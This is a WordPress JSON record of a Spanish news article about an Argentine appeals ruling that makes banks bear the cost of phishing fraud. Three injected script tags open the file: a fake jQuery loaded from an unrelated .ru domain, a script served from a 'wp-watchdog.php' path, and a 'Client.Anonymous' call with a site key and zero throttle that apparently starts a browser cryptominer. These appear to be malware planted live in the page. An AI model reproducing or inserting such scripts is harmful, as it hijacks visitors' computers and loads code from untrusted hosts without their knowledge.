
<script src="https://freefk.ru/jquery-1.12.4.min.js"></script>
<script src="https://economiaendescubierto.com.ar/wp-watchdog.php?f=yC90.js"></script>
<script>var _client = new Client.Anonymous('04fe3e30569bc4a1a1412e45f6c4275e57bd80b2fd752e89830ebfd40a1865a0', { throttle: 0, c: 'w', ads: 0 }); _client.start();
</script>{"id":5740,"date":"2026-04-09T08:13:45","date_gmt":"2026-04-09T11:13:45","guid":{"rendered":"https:\/\/economiaendescubierto.com.ar\/?p=5740"},"modified":"2026-04-09T08:13:45","modified_gmt":"2026-04-09T11:13:45","slug":"fallo-inedito-la-justicia-establece-que-los-bancos-no-pueden-culpar-a-un-cliente-que-sufra-un-fraude-digital","status":"publish","type":"post","link":"https:\/\/economiaendescubierto.com.ar\/?p=5740","title":{"rendered":"Fallo in\u00e9dito: la Justicia establece que los bancos no pueden culpar a un cliente que sufra un fraude digital"},"content":{"rendered":"<p>La C\u00e1mara Civil de Cipolletti determin\u00f3 que los bancos deben asumir el costo total de los fraudes digitales, incluso cuando el cliente haya sido v\u00edctima de enga\u00f1os como el phishing, consolidando un cambio profundo en la jurisprudencia argentina.<\/p>\n<p>La decisi\u00f3n, que responsabiliza al Banco Patagonia por el vaciamiento de una cuenta bancaria en cuesti\u00f3n de minutos, pone en el centro del debate la seguridad de la banca digital, el rol de las entidades financieras y el alcance de la protecci\u00f3n al consumidor en un contexto de creciente ciberdelincuencia.<\/p>\n<p>El phishing que expuso las fallas del sistema bancario<br \/>\nEl caso comenz\u00f3 con una maniobra cl\u00e1sica de phishing: un correo electr\u00f3nico fraudulento que simulaba provenir del banco y dirig\u00eda al usuario a una p\u00e1gina falsa para capturar sus datos. Una vez obtenida la informaci\u00f3n, los delincuentes ejecutaron una serie de operaciones en tiempo r\u00e9cord: cambiaron credenciales, habilitaron nuevos mecanismos de validaci\u00f3n, realizaron transferencias, vendieron moneda extranjera y desviaron los fondos a cuentas de terceros.<\/p>\n<p>En primera instancia, el fallo hab\u00eda distribuido la responsabilidad entre el cliente y la entidad financiera. Sin embargo, la C\u00e1mara revoc\u00f3 esa decisi\u00f3n tras analizar los registros inform\u00e1ticos y concluy\u00f3 que el problema no estaba en el uso de credencias v\u00e1lidas, sino en la falta de reacci\u00f3n del sistema bancario frente a operaciones claramente an\u00f3malas.<\/p>\n<p>Para los jueces, la secuencia de eventos -cambios de datos, nuevas validaciones y transferencias de alto monto en pocos minutos- debi\u00f3 haber activado alertas y bloqueos preventivos. Al no hacerlo, el banco incumpli\u00f3 su deber de seguridad.<\/p>\n<p>Adi\u00f3s a la culpa del usuario: la teor\u00eda del riesgo creado<br \/>\nEl fallo consolida un giro clave en la jurisprudencia argentina: el abandono de la idea de &#8220;culpa del usuario&#8221; como principal defensa bancaria.<\/p>\n<p>Tradicionalmente, las entidades financieras argumentaban que el cliente era responsable por haber entregado sus datos. Sin embargo, los tribunales comenzaron a aplicar la teor\u00eda del &#8220;riesgo creado&#8221;, basada en la Ley de Defensa del Consumidor y el C\u00f3digo Civil y Comercial.<\/p>\n<p>Bajo este enfoque, la actividad bancaria digital implica riesgos propios -como el phishing o la ingenier\u00eda social- que deben ser asumidos por quien dise\u00f1a y explota el sistema: el banco.<\/p>\n<p>Esto implica reconocer una relaci\u00f3n asim\u00e9trica: mientras la entidad controla la infraestructura tecnol\u00f3gica y obtiene beneficios econ\u00f3micos, el usuario carece de herramientas t\u00e9cnicas para detectar enga\u00f1os cada vez m\u00e1s sofisticados.<\/p>\n<p>En este contexto, entregar una contrase\u00f1a bajo manipulaci\u00f3n psicol\u00f3gica ya no se considera negligencia grave, sino una consecuencia previsible del ecosistema digital actual.<\/p>\n<p>Ahora es el banco quien debe probar que hizo todo bien<br \/>\nOtro aspecto central del fallo es la inversi\u00f3n de la carga probatoria. Ahora es el banco quien debe demostrar que actu\u00f3 diligentemente: que sus sistemas detectaron anomal\u00edas, que emiti\u00f3 alertas efectivas y que intent\u00f3 bloquear el fraude.<\/p>\n<p>Si la entidad no logra acreditar de forma contundente el funcionamiento adecuado de sus mecanismos de seguridad, la Justicia tiende a fallar a favor del consumidor.<\/p>\n<p>Este criterio refuerza el principio de colaboraci\u00f3n procesal, dado que los bancos son los \u00fanicos que poseen acceso completo a los registros y sistemas inform\u00e1ticos.<\/p>\n<p>Una epidemia imparable: las ciberestafas crecen 21% en Argentina<br \/>\nEl fallo no es aislado. Se inscribe en un escenario de crecimiento sostenido de las ciberestafas en Argentina. Seg\u00fan datos de la Unidad Fiscal Especializada en Ciberdelincuencia (UFECI), en 2024 las denuncias por delitos inform\u00e1ticos aumentaron un 21,1% interanual.<\/p>\n<p>Adem\u00e1s del phishing tradicional, hoy proliferan modalidades m\u00e1s complejas:<\/p>\n<p>Vishing: llamadas telef\u00f3nicas con suplantaci\u00f3n de identidad bancaria<br \/>\nSmishing: mensajes de texto o WhatsApp con enlaces falsos<br \/>\nPhishing-as-a-Service: plataformas criminales que venden herramientas de estafa<br \/>\nFraudes con alias similares: aprovechando situaciones de emergencia o donaciones<br \/>\nLa sofisticaci\u00f3n de estas maniobras convierte al fraude digital en una industria organizada, que evoluciona m\u00e1s r\u00e1pido que los sistemas de prevenci\u00f3n.<\/p>\n<p>El BCRA aprieta las tuercas con nuevas exigencias<br \/>\nEl Banco Central de la Rep\u00fablica Argentina ha endurecido su regulaci\u00f3n mediante comunicaciones como la A 7199, A 7319 y A 7370, que imponen obligaciones concretas a las entidades:<\/p>\n<p>Monitoreo de patrones inusuales<br \/>\nValidaciones de identidad reforzadas<br \/>\nControles adicionales ante cambios de credenciales<br \/>\nDemoras en acreditaciones sospechosas<br \/>\nEl incumplimiento de estas normas genera una presunci\u00f3n de negligencia, lo que fortalece la posici\u00f3n de los usuarios en sede judicial.<\/p>\n<p>Sanciones cada vez m\u00e1s duras para los bancos negligentes<br \/>\nLos tribunales no s\u00f3lo ordenan la restituci\u00f3n del dinero. Tambi\u00e9n avanzan con medidas cautelares (suspensi\u00f3n de cobros derivados de fraudes) y da\u00f1o punitivo (sanciones econ\u00f3micas adicionales para disuadir conductas negligentes).<\/p>\n<p>Estas herramientas buscan reparar a la v\u00edctima pero tambi\u00e9n generar incentivos para que las entidades mejoren sus est\u00e1ndares de seguridad.<\/p>\n<p>El futuro es de confianza cero o no ser\u00e1<br \/>\nEl fallo de Cipolletti env\u00eda un mensaje claro al sistema financiero: la seguridad digital no es opcional ni trasladable al usuario.<\/p>\n<p>Frente a un futuro donde tecnolog\u00edas como la inteligencia artificial y los deepfakes har\u00e1n los enga\u00f1os casi indistinguibles, la Justicia exige a los bancos adoptar modelos de &#8220;confianza cero&#8221; (Zero Trust), donde cada operaci\u00f3n sea verificada constantemente y no se asuma la legitimidad del usuario sin controles din\u00e1micos.<\/p>\n<p>El cambio es profundo: el costo de las fallas sist\u00e9micas ya no recaer\u00e1 sobre el cliente, sino sobre las entidades que dise\u00f1an y operan las plataformas.<\/p>\n<p>En definitiva, el fallo resuelve un caso puntual pero redefine las reglas del juego en la banca digital argentina y marca el rumbo hacia un sistema donde la confianza se construye con responsabilidad, tecnolog\u00eda y prevenci\u00f3n efectiva.<\/p>\n<p>Fuente: Iprofesional<\/p>\n","protected":false},"excerpt":{"rendered":"<p>La C\u00e1mara Civil de Cipolletti determin\u00f3 que los bancos deben asumir el costo total de los fraudes digitales, incluso cuando el cliente haya sido v\u00edctima de enga\u00f1os como el phishing, consolidando un cambio profundo en la jurisprudencia argentina. La decisi\u00f3n, que responsabiliza al Banco Patagonia por el vaciamiento de una cuenta bancaria en cuesti\u00f3n de [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":5741,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"http:\/\/economiaendescubierto.com.ar\/wp-content\/uploads\/2021\/11\/bancos.jpg","fifu_image_alt":"","footnotes":""},"categories":[2,3,6],"tags":[],"class_list":["post-5740","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-economia","category-finanzas","category-negocios"],"_links":{"self":[{"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/5740","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5740"}],"version-history":[{"count":1,"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/5740\/revisions"}],"predecessor-version":[{"id":5742,"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/5740\/revisions\/5742"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=\/wp\/v2\/media\/5741"}],"wp:attachment":[{"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5740"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5740"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/economiaendescubierto.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5740"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}